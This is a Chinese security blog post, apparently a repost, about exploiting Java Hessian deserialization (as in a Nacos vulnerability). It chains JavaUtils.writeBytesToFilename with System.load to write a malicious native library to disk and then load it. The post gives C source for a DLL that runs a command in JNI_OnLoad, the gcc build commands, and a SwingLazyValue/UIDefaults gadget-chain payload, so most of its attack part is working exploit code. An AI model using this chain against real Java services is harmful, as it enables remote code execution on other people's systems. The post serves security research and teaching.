java 静态方法 load+写文件组合拳利用

admin 2025年2月22日21:43:48评论10 views字数 3705阅读12分21秒阅读模式

前言

前几天看到 nacos 漏洞的时候发现本质是 hessian 反序列化,而 hessian 反序列化和其他反序列化个人认为最特殊的一点即是一个类根本不需要序列化接口,这样利用面大大增加,而其原生的反序列化又只能利用静态方法,然后就开始学起来了 java 中的静态方法

动态链接库

emmm ,打过 ctf 的对动态加载 so 文件一定不陌生,我感觉这个其实和那个很类似的

其实本质就是去调用 native 方法
参考https://www.cnblogs.com/nice0e3/p/14067160.htmlJNI 的全称叫做(Java Native Interface),其作用就是让我们的 Java 程序去调用 C 的程序。实际上调用的并不是 exe 程序,而是编译好的 dll 动态链接库里面封装的方法。因为 Java 是基于 C 语言去实现的,Java 底层很多也会去使用 JNI。

在开发中运用到的也是比较多,比如在前面分析链的时候,追溯到一些底层实现代码的时候就可以看到一些方法是使用 Native 来修饰的。这就说明他是一个 c 语言去实现的一个方法。

java 静态方法 load+写文件组合拳利用

我们首先构造 dll 文件

emmm 需要你能够使用 gcc 命令

可以下载一下 MinGW

然后配置一下环境变量

java 静态方法 load+写文件组合拳利用在 cmd 输入 mingw-get 弹出如下界面就算成功

java 静态方法 load+写文件组合拳利用

然后输入 mingw-get install gcc
java 静态方法 load+写文件组合拳利用就会下载 gcc 了

然后就是写一个 c 文件

#include <stdlib.h>
#include <jni.h>

JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved) {

    system("calc");
    //system("touch success");
    return JNI_VERSION_1_8;
}

然后生成 dll 文件

gcc -fPIC -I "%JAVA_HOME%include" -I "%JAVA_HOME%includewin32" -shared -o jniOnload.dll 1.c

加载动态链接库

DEMO

调用这个方法就可以弹出计算器

public static  void loaddll(){
    try {
        System.load("dll文件的绝对路径");
    }catch (UnsatisfiedLinkError e){
        e.printStackTrace();
    }
}
java 静态方法 load+写文件组合拳利用

我们使用的是 System.load
而 system 类是很重要的一个类
System 类在 Java 中提供了与系统交互的静态方法和属性,是处理输入输出、获取系统信息和管理程序运行的重要工具。它的静态方法和属性可以在任何地方直接使用,无需创建 System 类的实例

然后看到 load 方法

public static void load(String filename) {
    Runtime.getRuntime().load0(Reflection.getCallerClass(), filename);
}

是一个静态类

idea 的描述

java 静态方法 load+写文件组合拳利用也告诉我们了是一个加载文件的方法

流程分析

跟进 System.load 方法

发现调用了load0方法(,方法名以 0 结尾意味着这个方法是一个本地方法(native method),与系统的底层实现有关。这些方法通常由 JVM 自己调用,而不是由用户代码直接调用。)

public static void load(String filename) {
        Runtime.getRuntime().load0(Reflection.getCallerClass(), filename);
    }

跟进 load0

首先我们传入的必须是绝对路径,不然就会抛出异常

然后 ClassLoader.loadLibrary 去加载

java 静态方法 load+写文件组合拳利用

跟进 loadLibrary,只看重点

if (loadLibrary0(fromClass, new File(name))) {
                return;
            }

loadLibrary0

NativeLibrary lib = new NativeLibrary(fromClass, name, isBuiltin);
                nativeLibraryContext.push(lib);
                try {
                    lib.load(name, isBuiltin);
                }

实例化 NativeLibrary 对象去调用它的 lib 去加载,已经是一个 native 方法了

native void load(String name, boolean isBuiltin);

写入动态链接文件

java 中能够写文件的方法就更多了
比如熟知的 JavaUtils.writeBytesToFilename 

public static void writeBytesToFilename(String filename, byte[] bytes) {
    if (filename != null && bytes != null) {
        try (OutputStream outputStream = Files.newOutputStream(Paths.get(filename))) {
            outputStream.write(bytes);
        } catch (IOException ex) {
            LOG.debug(ex.getMessage(), ex);
        }
    } else {
        LOG.debug("writeBytesToFilename got null byte[] pointed");
    }
}

测试代码如下

import com.sun.org.apache.xml.internal.security.utils.JavaUtils;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
public class test1 {

    public static void main(String[] args) throws IOException {
        String sourceFilePath = "F:\1.txt";
        String destinationFilePath = "F:\123.txt";
        byte[] content = Files.readAllBytes(Paths.get(sourceFilePath));
        JavaUtils.writeBytesToFilename(destinationFilePath,content);
    }
}

组合拳

参考https://exp10it.io/2023/06/nacos-jraft-hessian-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-rce-%E5%88%86%E6%9E%90/#javautilswritebytestofilename--systemload师傅

秩序与对着这个 paylaod 改改就好了

byte[] content = Files.readAllBytes(Paths.get("/Users/exp10it/exp.dylib"));
SwingLazyValue swingLazyValue1 = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/exp.dylib", content});
SwingLazyValue swingLazyValue2 = new SwingLazyValue("java.lang.System", "load", new Object[]{"/tmp/exp.dylib"});

UIDefaults u1 = new UIDefaults();
UIDefaults u2 = new UIDefaults();
u1.put("aaa", swingLazyValue1);
u2.put("aaa", swingLazyValue1);

HashMap map1 = HashColl.makeMap(u1, u2);

UIDefaults u3 = new UIDefaults();
UIDefaults u4 = new UIDefaults();
u3.put("bbb", swingLazyValue2);
u4.put("bbb", swingLazyValue2);

HashMap map2 = HashColl.makeMap(u3, u4);

HashMap map = new HashMap();
map.put(1, map1);
map.put(2, map2);

最后

然后其实在 spel 等各种表达式中也是可以调用静态方法的,是不是我们还可以在 spel 中使用上呢?

来源:【https://xz.aliyun.com/news/16858】,感谢【1398133550745333

原文始发于微信公众号(船山信安):java 静态方法 load+写文件组合拳利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月22日21:43:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   java 静态方法 load+写文件组合拳利用http://cn-sec.com/archives/3769185.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息